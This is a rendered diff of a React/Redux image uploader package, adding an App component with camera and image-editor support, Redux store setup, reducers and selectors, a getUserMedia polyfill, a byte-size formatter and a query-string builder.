onDropRejected={this.onError}
|
239
|
+
>
|
240
|
+
{preview ? (
|
241
|
+
<ImageEditor
|
242
|
+
scale={scale}
|
243
|
+
image={image}
|
244
|
+
maxScale={maxScale}
|
245
|
+
minScale={minScale}
|
246
|
+
stepScale={stepScale}
|
247
|
+
fileChanged={this.fileChanged}
|
248
|
+
imageEditorUpdate={imageEditorUpdate}
|
249
|
+
handleSave={handleSave}
|
250
|
+
startMediaStream={this.startMediaStream}
|
251
|
+
resetStore={resetStore}
|
252
|
+
width={width}
|
253
|
+
height={height}
|
254
|
+
cameraButtonDisable={cameraButtonDisable}
|
255
|
+
/>
|
256
|
+
) : (
|
257
|
+
<Content
|
258
|
+
fileChanged={this.fileChanged}
|
259
|
+
startMediaStream={this.handleStartMediaStream}
|
260
|
+
cameraButtonDisable={cameraButtonDisable}
|
261
|
+
/>
|
262
|
+
)}
|
263
|
+
</Dropzone>
|
264
|
+
</Fragment>
|
265
|
+
)
|
266
|
+
}
|
267
|
+
</div>
|
268
|
+
</div>
|
269
|
+
);
|
270
|
+
}
|
271
|
+
}
|
272
|
+
|
273
|
+
export default connect(mapStateToProps, mapDispatchToProps)(App);
|
package/src/index.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
import React from 'react';
|
2
|
+
import { Provider } from 'react-redux';
|
3
|
+
import { store as createStore } from './store';
|
4
|
+
import App from './conteiners/App';
|
5
|
+
|
6
|
+
const store = createStore();
|
7
|
+
|
8
|
+
export default function ImageUploader(props) {
|
9
|
+
return (
|
10
|
+
<Provider store={store}>
|
11
|
+
<App {...props} />
|
12
|
+
</Provider>
|
13
|
+
);
|
14
|
+
}
|
@@ -0,0 +1,12 @@
|
|
1
|
+
import thunk from 'redux-thunk';
|
2
|
+
import { isDev } from '../app-config';
|
3
|
+
|
4
|
+
export const getMiddleware = () => {
|
5
|
+
const middleware = [thunk];
|
6
|
+
|
7
|
+
if (isDev()) {
|
8
|
+
middleware.push(require('redux-logger').createLogger({ collapsed: true }));
|
9
|
+
}
|
10
|
+
|
11
|
+
return middleware;
|
12
|
+
};
|
@@ -0,0 +1,47 @@
|
|
1
|
+
import { createAction, handleActions } from 'redux-actions';
|
2
|
+
import { createSelector } from 'reselect';
|
3
|
+
import get from 'lodash/get';
|
4
|
+
import { TYPE_DROPZONE } from '../constants';
|
5
|
+
|
6
|
+
const REDUCER_NAME = 'imageUploader';
|
7
|
+
|
8
|
+
export const SCALE = 'scale';
|
9
|
+
|
10
|
+
export const imageUpload = createAction('IMAGE_UPLOAD');
|
11
|
+
export const streamUpdate = createAction('STREAM_VIDEO');
|
12
|
+
export const resetStore = createAction('RESET');
|
13
|
+
export const imageEditorUpdate = createAction('UPDATE_IMAGE_EDITOR');
|
14
|
+
export const setTypeContent = createAction('TYPE_CONTENT');
|
15
|
+
export const loading = createAction('LOADING');
|
16
|
+
export const loaded = createAction('LOADED');
|
17
|
+
|
18
|
+
const initialState = {
|
19
|
+
stream: null,
|
20
|
+
image: null,
|
21
|
+
load: false,
|
22
|
+
typeContent: TYPE_DROPZONE,
|
23
|
+
imageEditor: {
|
24
|
+
[SCALE]: 2,
|
25
|
+
},
|
26
|
+
};
|
27
|
+
|
28
|
+
export const imageUploader = handleActions({
|
29
|
+
[imageUpload]: (state, { payload }) => ({ ...state, image: payload }),
|
30
|
+
[setTypeContent]: (state, { payload }) => ({ ...state, typeContent: payload }),
|
31
|
+
[streamUpdate]: (state, { payload }) => ({ ...state, stream: payload }),
|
32
|
+
[imageEditorUpdate]: (state, { payload }) => ({
|
33
|
+
...state, imageEditor: { ...state.imageEditor, ...payload },
|
34
|
+
}),
|
35
|
+
[loading]: state => ({ ...state, loading: true }),
|
36
|
+
[loaded]: state => ({ ...state, loading: false }),
|
37
|
+
[resetStore]: () => initialState,
|
38
|
+
}, initialState);
|
39
|
+
|
40
|
+
export const stateSelector = state => get(state, REDUCER_NAME);
|
41
|
+
export const imageEditorSelector = createSelector(stateSelector, state => get(state, 'imageEditor'));
|
42
|
+
|
43
|
+
export const imageSelector = createSelector(stateSelector, state => get(state, 'image'));
|
44
|
+
export const typeContentSelector = createSelector(stateSelector, state => get(state, 'typeContent'));
|
45
|
+
export const isLoadingSelector = createSelector(stateSelector, state => get(state, 'loading'));
|
46
|
+
export const streamSelector = createSelector(stateSelector, state => get(state, 'stream'));
|
47
|
+
export const scaleSelector = createSelector(imageEditorSelector, state => get(state, [SCALE]));
|
@@ -0,0 +1,19 @@
|
|
1
|
+
import {
|
2
|
+
createStore,
|
3
|
+
combineReducers,
|
4
|
+
applyMiddleware,
|
5
|
+
compose,
|
6
|
+
} from 'redux';
|
7
|
+
import { getMiddleware } from '../middleware';
|
8
|
+
import reducers from '../reducers';
|
9
|
+
|
10
|
+
export const store = () => {
|
11
|
+
const middleware = getMiddleware();
|
12
|
+
|
13
|
+
const composeEnhancers = window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__ || compose;
|
14
|
+
|
15
|
+
return createStore(
|
16
|
+
combineReducers(reducers),
|
17
|
+
composeEnhancers(applyMiddleware(...middleware)),
|
18
|
+
);
|
19
|
+
};
|
@@ -0,0 +1,27 @@
|
|
1
|
+
export const isUserMedia = () => {
|
2
|
+
if (navigator.mediaDevices === undefined) navigator.mediaDevices = {};
|
3
|
+
|
4
|
+
if (navigator.mediaDevices.getUserMedia === undefined) {
|
5
|
+
navigator.mediaDevices.getUserMedia = (constraints) => {
|
6
|
+
const getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
|
7
|
+
|
8
|
+
if (!getUserMedia) {
|
9
|
+
return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
|
10
|
+
}
|
11
|
+
|
12
|
+
return new Promise((resolve, reject) => {
|
13
|
+
getUserMedia.call(navigator, constraints, resolve, reject);
|
14
|
+
});
|
15
|
+
};
|
16
|
+
}
|
17
|
+
};
|
18
|
+
|
19
|
+
export const bytesToSize = (bytes, decimals = 2) => {
|
20
|
+
if (bytes === 0) return '0 Bytes';
|
21
|
+
|
22
|
+
const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
|
23
|
+
const k = 1024;
|
24
|
+
|
25
|
+
const idx = Math.floor(Math.log(bytes) / Math.log(k));
|
26
|
+
return `${parseFloat((bytes / Math.pow(k, idx)).toFixed(decimals))} ${sizes[idx]}`;
|
27
|
+
};
|
@@ -0,0 +1,33 @@
|
|
1
|
+
export type TQueryObject = Record<number | string, any>;
|
2
|
+
|
3
|
+
const _flat = (
|
4
|
+
path: string,
|
5
|
+
obj: TQueryObject,
|
6
|
+
flatted: string[],
|
7
|
+
): string[] => Object.keys(obj).reduce(
|
8
|
+
(f, p) => {
|
9
|
+
let v = obj[p];
|
10
|
+
if (v === undefined) return flatted;
|
11
|
+
if (v === null) v = '';
|
12
|
+
const ep = encodeURIComponent(p);
|
13
|
+
const np = path ? `${path}[${ep}]` : ep;
|
14
|
+
const theType = Array.isArray(v) ? 'array' : typeof v;
|
15
|
+
if (['function', 'array'].includes(theType)) v = '';
|
16
|
+
if (theType === 'object') {
|
17
|
+
return _flat(np, v, f);
|
18
|
+
}
|
19
|
+
f.push(`${np}=${encodeURIComponent(v)}`);
|
20
|
+
return f;
|
21
|
+
}, flatted,
|
22
|
+
);
|
23
|
+
|
24
|
+
const flat = (obj: TQueryObject): string[] => _flat('', obj, []);
|
25
|
+
|
26
|
+
const stringify = (query: TQueryObject): string => {
|
27
|
+
const queryString = flat(query).join('&');
|
28
|
+
return queryString ? `?${queryString}` : '';
|
29
|
+
};
|
30
|
+
|
31
|
+
export const buildQuery = (query: TQueryObject): string => (
|
32
|
+
query != null ? stringify(query) : ''
|
33
|
+
);
|